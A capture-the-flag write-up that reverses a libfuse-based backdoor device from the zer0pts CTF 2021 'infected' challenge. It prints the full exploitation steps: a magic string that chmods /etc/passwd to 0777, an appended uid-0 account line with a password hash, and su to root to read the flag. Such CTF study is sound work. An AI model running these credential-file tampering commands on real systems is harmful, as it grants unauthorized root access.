Reversing libfuse malware
Recent zer0pts CTF 2021 had a reversing challenge: infected in the reversing, warmup category. [96 pts]
The backdoor is installed on this machine: nc others.ctf.zer0pts.com 11011 or nc any.ctf.zer0pts.com 11011
How can I use it to get the flag in /root directory?
author:ptr-yudai
Let's try to load the program in IDA and see what is the backdoor all about. Main just calls register_backdoor which registers a libfuse driver on /dev/backdoor.
It passes a cuse_lowlevel_ops struct named devops. Let's investigate this structure more to find open, read, write functions.
We can see it has pointers to defined functions: backdoor_open, backdoor_write. Backdoor open doesn’t do anything special, lets look at backdoor_write:
We can see it's looking for a message of the pattern:
b4ckd00r:<file>:<perms>
If the pattern matches it would call “chmod” on the file and set it with the permissions we provide. At this point, I looked at some libfuse examples and there is one that implements cuse_lowlevel_main: https://github.com/libfuse/libfuse/blob/master/example/cuse.c.
We can compile this example and test it out to see what kind of functions triggers the write call, I have made changes to cuse.c program and added print calls at the write call, main, other functions:
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Let’s try to use the cuse_client to communicate with the char device at /dev/testfuse.
# echo "hello" | ./cuse_client /dev/testfuse w 5
Writing 5 bytes
5
transferred 5 bytes (0 -> 5)
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example#
We can see the logging output in the tty that's running ./cuse.
# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
The cuse_client is communicating with the libfuse driver using IOCTL calls:
At this point, I got stuck for a while and didn’t think we could just echo into the character driver that implements write. Let's try that:
# echo “writing through echo” > /dev/testfuse
We see that open and write calls are triggered:
# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
Hey open!
Hey writing, writing through echo
Perfect! Let's try to send this payload to the backdoor and see if it actually can chmod the file with our permissions. “b4ckd00r:/etc/passwd:511":
/ $ echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
/ $ ls -al /etc/passwd
ls -al /etc/passwd
-rwxrwxrwx 1 root root 340 Mar 4 03:56 /etc/passwd
/ $
The /etc/passwd file is now writable. (511 is just 0777 in decimal). Lets add a new root user to access /root:
/ $ echo "lionaneesh:aajextnUQwGKg:0:0:toor:/root:/bin/sh" >> /etc/passwd
/ # su lionaneesh
Password: igotroot
/ # cat root/flag*
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
Thanks for this amazing challenge ptr-yudai. Really enjoyed learning about libfuse based malware.